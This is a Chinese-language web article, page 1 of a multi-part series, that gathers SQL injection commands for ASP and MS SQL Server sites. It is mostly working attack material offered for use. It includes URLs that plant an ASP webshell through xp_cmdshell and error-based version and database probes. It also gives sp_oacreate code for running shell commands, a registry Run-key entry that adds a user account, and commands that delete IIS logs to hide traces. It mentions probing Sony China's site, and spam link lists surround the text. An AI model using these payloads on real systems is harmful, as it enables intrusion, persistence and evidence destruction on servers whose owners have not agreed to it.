精品久久看,欧美成人久久一级c片免费,日本加勒比在线精品视频,国产一区二区三区免费大片天美,国产成人精品999在线,97理论三级九七午夜在线观看

當前位置:首頁文章首頁 IT學院 IT技術

比較全的SQL注入相關的命令分享

作者:  來源:  發布時間:2011-6-15 15:18:23  點擊:
 這篇文章整理了所有SQL注入相關的命令,希望能對大家有用。
1、   用^轉義字符來寫ASP(一句話木馬)文件的方法:
   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

   echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2、   顯示SQL系統版本:
   http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、   在檢測索尼中國的網站漏洞時,分明已經確定了漏洞存在卻無法在這三種漏洞中找到對應的類型。偶然間我想到了在SQL語言中可以使用“in”關鍵字進行查詢,例如“select * from mytable where id in(1)”,括號中的值就是我們提交的數據,它的結果與使用“select * from mytable where id=1”的查詢結果完全相同。所以訪問頁面的時候在URL后面加上“) and 1=1 and 1 in(1”后原來的SQL語句就變成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,這樣就會出現期待已久的頁面了。暫且就叫這種類型的漏洞為“包含數字型”吧,聰明的你一定想到了還有“包含字符型”呢。對了,它就是由于類似“select * from mytable where name in(‘firstsee’)”的查詢語句造成的。

4、   判斷xp_cmdshell擴展存儲過程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
恢復xp_cmdshell擴展存儲的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’e:\inetput\web\xplog70.dll’;--

5、   向啟動組中寫入命令行和執行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'


6、   查看當前的數據庫名稱:
   http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨庫了
   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、   列出當前所有的數據庫名稱:
select * from master.dbo.sysdatabases   列出所有列的記錄
select name from master.dbo.sysdatabases 僅列出name列的記錄

8、   不需xp_cmdshell支持在有注入漏洞的SQL服務器上運行CMD命令:
CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的參數true指的是將等待程序運行的結果,對于類似ping的長時間命令必需使用此參數。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面將WEB用戶加到管理員組中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中執行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三種執行CMD命令的方法:

先刪除7.18號日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先開啟jet沙盤模式,通過擴展存儲過程xp_regwrite修改注冊表實現,管理員修改注冊表不能預防的原因。
首頁 上一頁 [1] [2] [3] [4] [5]  下一頁 尾頁

相關軟件

相關文章

文章評論

軟件按字母排列: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
主站蜘蛛池模板: 精品综合久久久久97 | 一级毛片中国 | 99久久99这里只有免费费精品 | 四虎影视永久在线精品免费播放 | 久久综合久久精品 | 国产第一页亚洲 | 国产高清小视频 | 激情综合网五月婷婷 | 国产99久久亚洲综合精品 | 四虎免费观看 | 97视频在线 | 国产免费爱在线观看视频 | 中文精品久久久久中文 | 久久精品中文 | 免费无限看片的视频 | 亚洲精品在线不卡 | 免费网站视频 | 国产色婷婷精品免费视频 | 四虎影院精品在线观看 | 国产一级一级一级成人毛片 | 2018亚洲男人天堂 | 国产精品v欧美精品v日本精 | 色男人的天堂久久综合 | 免费试看120秒| 国产欧美va欧美va香蕉在线观 | 黄色视屏在线免费观看 | 黄色激情在线观看 | 狠狠做深爱婷婷综合一区 | 伊人国产在线播放 | 亚洲国产色婷婷精品综合在线观看 | 黄视频在线观看www免费 | 六月激情网 | 青草视频入口 在线观看 | 国语精品视频在线观看不卡 | 国产玖玖在线观看 | 欧美大片日韩精品四虎影视 | 日韩久久久精品首页 | 伊人草久 | 久久国产精品久久精品国产 | 精品视频中文字幕 | 丁香五月缴情在线 |